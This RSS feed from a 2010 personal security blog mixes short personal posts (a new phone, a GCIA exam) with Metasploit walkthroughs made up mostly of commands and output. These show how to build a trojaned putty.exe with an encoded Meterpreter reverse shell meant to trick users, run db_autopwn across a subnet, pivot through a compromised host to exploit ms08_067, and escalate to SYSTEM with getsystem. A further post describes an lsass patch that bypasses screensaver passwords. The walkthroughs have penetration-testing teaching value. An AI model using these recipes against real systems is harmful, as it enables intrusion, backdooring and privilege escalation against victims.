<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>JoshuaGauthier.com</title>
	<atom:link href="http://www.joshuagauthier.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.joshuagauthier.com</link>
	<description>wait for it..............</description>
	<lastBuildDate>Mon, 19 Apr 2010 23:53:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=5124</generator>
		<item>
		<title>Motorola Droid</title>
		<link>http://www.joshuagauthier.com/2010/04/motorola-droid/</link>
		<comments>http://www.joshuagauthier.com/2010/04/motorola-droid/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 23:53:51 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[droid]]></category>
		<category><![CDATA[random]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=44</guid>
		<description><![CDATA[Posting from my laptop tethered to my new Motorola Droid. This phone is sick. Now my only regret is how long I waited to get it!]]></description>
			<content:encoded><![CDATA[<p>Posting from my laptop tethered to my new Motorola Droid. This phone is sick. Now my only regret is how long I waited to get it!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/04/motorola-droid/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Persistent Meterpreter over Reverse HTTPS</title>
		<link>http://www.joshuagauthier.com/2010/04/persistent-meterpreter-over-reverse-https/</link>
		<comments>http://www.joshuagauthier.com/2010/04/persistent-meterpreter-over-reverse-https/#comments</comments>
		<pubDate>Tue, 13 Apr 2010 16:21:51 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=41</guid>
		<description><![CDATA[SSL tunneled meterpreter sessions, Thanks HD. Link]]></description>
			<content:encoded><![CDATA[<p>SSL tunneled meterpreter sessions, Thanks HD.</p>
<p><a href="http://blog.metasploit.com/2010/04/persistent-meterpreter-over-reverse.html">Link</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/04/persistent-meterpreter-over-reverse-https/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GCIA Gold Paper</title>
		<link>http://www.joshuagauthier.com/2010/04/gcia-gold-paper/</link>
		<comments>http://www.joshuagauthier.com/2010/04/gcia-gold-paper/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 01:37:00 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[GCIA]]></category>
		<category><![CDATA[GIAC]]></category>
		<category><![CDATA[Gold Paper]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=37</guid>
		<description><![CDATA[So I&#8217;m writing my GCIA Gold paper on Network Data Visualization for Computer Network Defense. More than likely I&#8217;ll be posting some stuff regarding the research. Right now I am focusing on Open Source tools found on the DAVIX distribution. Anyone out there with some experience on the subject I would love to pick your ]]></description>
			<content:encoded><![CDATA[<p>So I&#8217;m writing my GCIA Gold paper on Network Data Visualization for Computer Network Defense. More than likely I&#8217;ll be posting some stuff regarding the research. Right now I am focusing on Open Source tools found on the DAVIX distribution. Anyone out there with some experience on the subject I would love to pick your brain.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/04/gcia-gold-paper/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>msfencoded payloads into executables (-k)</title>
		<link>http://www.joshuagauthier.com/2010/03/msfencoded-payloads-into-executables-k/</link>
		<comments>http://www.joshuagauthier.com/2010/03/msfencoded-payloads-into-executables-k/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 20:33:36 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=34</guid>
		<description><![CDATA[For a while now it has been possible to add msfencoded payloads into executable. However the resulting files would not work as expected. ie You could trick a user into running a file which would in turn give you a meterpreter session but the user would soon find that something was amiss with the exe&#8230;&#8230;not ]]></description>
			<content:encoded><![CDATA[<p>For a while now it has been possible to add msfencoded payloads into executable. However the resulting files would not work as expected. ie You could trick a user into running a file which would in turn give you a meterpreter session but the user would soon find that something was amiss with the exe&#8230;&#8230;not any more.</p>
<p><a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8896">http://www.metasploit.com/redmine/projects/framework/repository/revisions/8896</a></p>
<p>./msfencode -h</p>
<p>Usage: ./msfencode<br />
OPTIONS:<br />
-a The architecture to encode as<br />
-b The list of characters to avoid: &#8216;\x00\xff&#8217;<br />
-c The number of times to encode the data<br />
-e The encoder to use<br />
-h Help banner<br />
-i Encode the contents of the supplied file path<br />
-k Keep template working; run payload in new thread (use with -x)<br />
-l List available encoders<br />
-m Specifies an additional module search path<br />
-n Dump encoder information<br />
-o The output file<br />
-p The platform to encode for<br />
-s The maximum size of the encoded data<br />
-t The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war)<br />
-x Specify an alternate win32 executable template</p>
<p>./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.199.129 LPORT=31337 R | ./msfencode -x putty.exe -t exe  -k -o putty_backdoored.exe -e x86/shikata_ga_nai -c 10</p>
<p>[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)<br />
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=2)<br />
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=3)<br />
[*] x86/shikata_ga_nai succeeded with size 396 (iteration=4)<br />
[*] x86/shikata_ga_nai succeeded with size 423 (iteration=5)<br />
[*] x86/shikata_ga_nai succeeded with size 450 (iteration=6)<br />
[*] x86/shikata_ga_nai succeeded with size 477 (iteration=7)<br />
[*] x86/shikata_ga_nai succeeded with size 504 (iteration=8)<br />
[*] x86/shikata_ga_nai succeeded with size 531 (iteration=9)<br />
[*] x86/shikata_ga_nai succeeded with size 558 (iteration=10</p>
<p>file putty_backdoored.exe<br />
putty_backdoored.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit</p>
<p>msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp<br />
PAYLOAD => windows/meterpreter/reverse_tcp<br />
msf exploit(handler) > set LHOST 192.168.199.129<br />
LHOST => 192.168.199.129<br />
msf exploit(handler) > set LPORT 31337<br />
LPORT => 31337<br />
msf exploit(handler) > exploit</p>
<p>[*] Started reverse handler on 192.168.199.129:31337<br />
[*] Starting the payload handler&#8230;<br />
[*] Sending stage (748032 bytes)<br />
[*] Meterpreter session 1 opened (192.168.199.129:31337 -> 192.168.199.130:50766)</p>
<p>You&#8217;ll still need to migrate or your shell will terminate when the backdoored process is killed</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/03/msfencoded-payloads-into-executables-k/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>msfconsole and db_autopwn</title>
		<link>http://www.joshuagauthier.com/2010/03/msfconsole-and-db_autopwn/</link>
		<comments>http://www.joshuagauthier.com/2010/03/msfconsole-and-db_autopwn/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 01:20:03 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[msfconsole]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=32</guid>
		<description><![CDATA[I just saw this on seclists.org. HD Moore posted this to kick off db_autopwn via msfconsole RC script $ vim ownitall.rc db_create /tmp/mynet.db db_nmap -sS -F -n 192.168.0.0/24 -T5 setg AutoRunScript scraper db_autopwn -t -e -p -r $ msfconsole -r ownitall.rc]]></description>
			<content:encoded><![CDATA[<p>I just saw this on <a href="http://seclists.org/metasploit/2010/q1/170">seclists.org</a>.</p>
<p>HD Moore posted this to kick off db_autopwn via msfconsole RC script</p>
<p>$ vim ownitall.rc<br />
db_create /tmp/mynet.db<br />
db_nmap -sS -F -n 192.168.0.0/24 -T5<br />
setg AutoRunScript scraper<br />
db_autopwn -t -e -p -r</p>
<p>$ msfconsole -r ownitall.rc</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/03/msfconsole-and-db_autopwn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GCIA Results</title>
		<link>http://www.joshuagauthier.com/2010/03/gcia-results/</link>
		<comments>http://www.joshuagauthier.com/2010/03/gcia-results/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 01:12:25 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[GCIA]]></category>
		<category><![CDATA[GIAC]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=30</guid>
		<description><![CDATA[So I passed with an 88&#8230;&#8230;&#8230;..kind of disappointed I didn&#8217;t do better, ridiculous mistakes, oh well. I had two questions that were flat out wrong and I contacted the GIAC. Enough about that, now I just need to come up with a topic for my Gold paper. Any suggestions&#8230;&#8230;&#8230;&#8230;&#]]></description>
			<content:encoded><![CDATA[<p>So I passed with an 88&#8230;&#8230;&#8230;..kind of disappointed I didn&#8217;t do better, ridiculous mistakes, oh well. I had two questions that were flat out wrong and I contacted the GIAC. Enough about that, now I just need to come up with a topic for my Gold paper. Any suggestions&#8230;&#8230;&#8230;&#8230;&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/03/gcia-results/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Passworded Screensaver Bypass</title>
		<link>http://www.joshuagauthier.com/2010/02/passworded-screensaver-bypass/</link>
		<comments>http://www.joshuagauthier.com/2010/02/passworded-screensaver-bypass/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 23:00:52 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=28</guid>
		<description><![CDATA[The Relentless-coding blog just released a script for meterpreter that will bypass password protection for screensavers in Windows XP (SP2 &#038; 3), Vista, and Windows 7. The script patches the lsass (you&#8217;ll need system level permissions) process to circumvent the password check. Once applied, an attacker can insert anything for the password to unlock. PaulDotCom ]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://relentless-coding.blogspot.com/">Relentless-coding blog</a> just released a script for meterpreter that will bypass password protection for screensavers in Windows XP (SP2 &#038; 3), Vista, and Windows 7. The script patches the lsass (you&#8217;ll need system level permissions) process to circumvent the password check. Once applied, an attacker can insert anything for the password to unlock. PaulDotCom has a <a href="http://vimeo.com/9692271">video</a> on vimeo demonstrating it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/02/passworded-screensaver-bypass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automatically Route Through New Subnets with Metasploit</title>
		<link>http://www.joshuagauthier.com/2010/02/automatically-route-through-new-subnets-with-metasploit/</link>
		<comments>http://www.joshuagauthier.com/2010/02/automatically-route-through-new-subnets-with-metasploit/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 02:44:41 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=24</guid>
		<description><![CDATA[One of the coolest features of any exploitation framework is the ability to further penetrate the network via the exploited host. Here is how to pivot an attack in Metasploit: msf exploit(ms09_002_memory_corruption) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.1.109:8080 -> 192.168.1.104:62239 msf exploit(ms09_002_memory_corruption) > ifconfig [*] exec: ]]></description>
			<content:encoded><![CDATA[<p>One of the coolest features of any exploitation framework is the ability to further penetrate the network via the exploited host. Here is how to pivot an attack in Metasploit:</p>
<p><code><br />
msf exploit(ms09_002_memory_corruption) > sessions -l</p>
<p>Active sessions<br />
===============</p>
<p>  Id  Description  Tunnel<br />
  --  -----------  ------<br />
  1   Meterpreter  192.168.1.109:8080 -> 192.168.1.104:62239 </p>
<p>msf exploit(ms09_002_memory_corruption) > ifconfig<br />
[*] exec: ifconfig</p>
<p>eth0      Link encap:Ethernet  HWaddr 00:0d:29:d9:ec:cc<br />
          inet addr:192.168.1.109  Bcast:192.168.1.255  Mask:255.255.255.0<br />
          inet6 addr: fe80::20c:29ff:fee8:ebe7/64 Scope:Link<br />
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1<br />
          RX packets:14826 errors:12824 dropped:0 overruns:0 frame:0<br />
          TX packets:6634 errors:0 dropped:0 overruns:0 carrier:0<br />
          collisions:0 txqueuelen:1000<br />
          RX bytes:7542708 (7.5 MB)  TX bytes:2385453 (2.3 MB)<br />
          Interrupt:19 Base address:0x2024</p>
<p>msf exploit(ms09_002_memory_corruption) > sessions -i 1<br />
[*] Starting interaction with 1...<br />
meterpreter > route</p>
<p>Network routes<br />
==============</p>
<p>    Subnet           Netmask          Gateway<br />
    ------           -------          -------<br />
    0.0.0.0          0.0.0.0          192.168.55.2<br />
    192.168.55.0      255.255.255.0    192.168.55.140<br />
    192.168.55.140    255.255.255.255  127.0.0.1<br />
    127.0.0.0        255.0.0.0        127.0.0.1<br />
    224.0.0.0        240.0.0.0        192.168.55.140<br />
    255.255.255.255  255.255.255.255  192.168.55.140 </p>
<p>meterpreter ><br />
Background session 1? [y/N]y</p>
<p>msf exploit(ms09_002_memory_corruption) > route add 192.168.55.0 255.255.255.0 1<br />
msf exploit(ms09_002_memory_corruption) > route print</p>
<p>Active Routing Table<br />
====================</p>
<p>   Subnet             Netmask            Gateway<br />
   ------             -------            -------<br />
   192.168.55.0        255.255.255.0      Session 1 </p>
<p>msf exploit(ms09_002_memory_corruption) > use windows/smb/ms08_067_netapi<br />
msf exploit(ms08_067_netapi) > set PAYLOAD windows/patchupmeterpreter/reverse_tcp<br />
PAYLOAD => windows/patchupmeterpreter/reverse_tcp<br />
msf exploit(ms08_067_netapi) > show options</p>
<p>Module options:</p>
<p>   Name     Current Setting  Required  Description<br />
   ----     ---------------  --------  -----------<br />
   RHOST                     yes       The target address<br />
   RPORT    445              yes       Set the SMB service port<br />
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) </p>
<p>Payload options (windows/patchupmeterpreter/reverse_tcp):</p>
<p>   Name      Current Setting  Required  Description<br />
   ----      ---------------  --------  -----------<br />
   EXITFUNC  thread           yes       Exit technique: seh, thread, process<br />
   LHOST                      yes       The local address<br />
   LPORT     4444             yes       The local port                       </p>
<p>Exploit target:</p>
<p>   Id  Name<br />
   --  ----<br />
   0   Automatic Targeting </p>
<p>msf exploit(ms08_067_netapi) > set RHOST 192.168.55.128<br />
RHOST => 192.168.55.128<br />
msf exploit(ms08_067_netapi) > set LPORT 9000<br />
LPORT => 9000<br />
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.109<br />
LHOST => 192.168.1.109<br />
msf exploit(ms08_067_netapi) > exploit</p>
<p>[*] Handler binding to LHOST 0.0.0.0<br />
[*] Started reverse handler<br />
[*] Automatically detecting the target...<br />
[*] Fingerprint: Windows 2003 Service Pack 2 - lang:English<br />
[*] Selected Target: Windows 2003 SP2 English (NX)<br />
[*] Triggering the vulnerability...<br />
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)<br />
[*] Sending stage (2650 bytes)<br />
[*] Sleeping before handling stage...<br />
[*] Uploading DLL (205835 bytes)...<br />
[*] Upload completed.<br />
[*] Meterpreter session 2 opened (192.168.1.109:9000 -> 192.168.1.104:62260)</p>
<p>meterpreter > execute -f cmd.exe -i<br />
Process 3864 created.<br />
Channel 1 created.<br />
Microsoft Windows [Version 5.2.3790]<br />
(C) Copyright 1985-2003 Microsoft Corp.</p>
<p>C:\WINDOWS\system32> ipconfig<br />
ipconfig</p>
<p>Windows IP Configuration</p>
<p>Ethernet adapter Local Area Connection 6:</p>
<p>   Connection-specific DNS Suffix  . : localdomain<br />
   IP Address. . . . . . . . . . . . : 192.168.55.128<br />
   Subnet Mask . . . . . . . . . . . : 255.255.255.0<br />
   Default Gateway . . . . . . . . . : 192.168.55.2</p>
<p>C:\WINDOWS\system32>exit</p>
<p>meterpreter ><br />
Background session 2? [y/N]y<br />
</code></p>
<p>The problem is it requires a lot of typing. HD Moore has created a plug-in that automatically adds a route for previously unseen subnets when a new session opens up. Here is an example of its usage and output:</p>
<p><code><br />
msf exploit(ms08_067_netapi) > load auto_add_route<br />
[*] Successfully loaded plugin: auto_add_route<br />
msf exploit(ms08_067_netapi) > exploit </p>
<p>[*] Started reverse handler on 192.168.1.1:4444<br />
[*] Automatically detecting the target...<br />
[*] Fingerprint: Windows XP Service Pack 3 - lang:English<br />
[*] Selected Target: Windows XP SP3 English (NX)<br />
[*] Triggering the vulnerability...<br />
[*] Sending stage (725504 bytes)<br />
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.128:2355)<br />
[*] AutoAddRoute: Routing new subnet 192.168.1.0/255.255.255.0 through session 1</p>
<p>meterpreter > background<br />
msf exploit(ms08_067_netapi) > route print</p>
<p>Active Routing Table<br />
====================</p>
<p>   Subnet             Netmask            Gateway<br />
   ------             -------            -------<br />
   192.168.1.0           255.255.255.0      Session 1</p>
<p>msf exploit(ms08_067_netapi) ><br />
</code></p>
<p>Awesome&#8230;..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/02/automatically-route-through-new-subnets-with-metasploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GCIA</title>
		<link>http://www.joshuagauthier.com/2010/02/gcia/</link>
		<comments>http://www.joshuagauthier.com/2010/02/gcia/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 18:49:33 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[GCIA]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=22</guid>
		<description><![CDATA[Thanks to Uncle Sam I will be taking the GCIA on the 27th of this month. Wish me luck, I doubt I will need it but I have heard that it is a ball buster. Im pretty confident I have the material down, and I will be taking the practice tests soon so I will ]]></description>
			<content:encoded><![CDATA[<p>Thanks to Uncle Sam I will be taking the GCIA on the 27th of this month. Wish me luck, I doubt I will need it but I have heard that it is a ball buster. Im pretty confident I have the material down, and I will be taking the practice tests soon so I will have a bit of time to bone up on anything that I&#8217;m lacking.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/02/gcia/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>meterpreter getsystem</title>
		<link>http://www.joshuagauthier.com/2010/01/meterpreter-getsystem/</link>
		<comments>http://www.joshuagauthier.com/2010/01/meterpreter-getsystem/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 02:27:05 +0000</pubDate>
		<dc:creator>zwned</dc:creator>
				<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>

		<guid isPermaLink="false">http://www.joshuagauthier.com/?p=20</guid>
		<description><![CDATA[meterpreter > use priv Loading extension priv&#8230;success. meterpreter > getsystem -h Usage: getsystem [options] Attempt to elevate your privilege to that of local system. OPTIONS: -h Help Banner. -t The technique to use. (Default to &#8217;0&#8242;). 0 : All techniques available 1 : Service &#8211; Named Pipe Impersonation (In Memory/Admin) 2 : Service &#8211; Named ]]></description>
			<content:encoded><![CDATA[<p>meterpreter > use priv<br />
Loading extension priv&#8230;success.</p>
<p>meterpreter > getsystem -h<br />
Usage: getsystem [options]<br />
Attempt to elevate your privilege to that of local system.<br />
OPTIONS:</p>
<p>-h Help Banner.<br />
-t The technique to use. (Default to &#8217;0&#8242;).<br />
0 : All techniques available<br />
1 : Service &#8211; Named Pipe Impersonation (In Memory/Admin)<br />
2 : Service &#8211; Named Pipe Impersonation (Dropper/Admin)<br />
3 : Service &#8211; Token Duplication (In Memory/Admin)<br />
4 : Exploit &#8211; KiTrap0D (In Memory/User)</p>
<p>meterpreter > getsystem -t 1<br />
&#8230;got system (via technique 1).</p>
<p>meterpreter > getuid<br />
Server username: NT AUTHORITY\SYSTEM</p>
<p>meterpreter > rev2self</p>
<p>meterpreter > getuid<br />
Server username: MILLIWAYS\marvin</p>
<p>meterpreter > getsystem -t 2<br />
&#8230;got system (via technique 2).</p>
<p>meterpreter > getuid<br />
Server username: NT AUTHORITY\SYSTEM</p>
<p>meterpreter > rev2self</p>
<p>meterpreter > getuid<br />
Server username: MILLIWAYS\marvin</p>
<p>meterpreter > getsystem -t 3<br />
&#8230;got system (via technique 3).</p>
<p>meterpreter > getuid<br />
Server username: NT AUTHORITY\SYSTEM</p>
<p>meterpreter > rev2self</p>
<p>meterpreter > getuid<br />
Server username: MILLIWAYS\marvin</p>
<p>meterpreter > getsystem -t 4<br />
&#8230;got system (via technique 4).</p>
<p>meterpreter > getuid<br />
Server username: NT AUTHORITY\SYSTEM</p>
<p>meterpreter > rev2self</p>
<p>meterpreter > getuid</p>
<p>Server username: NT AUTHORITY\SYSTEM</p>
]]></content:encoded>
			<wfw:commentRss>http://www.joshuagauthier.com/2010/01/meterpreter-getsystem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
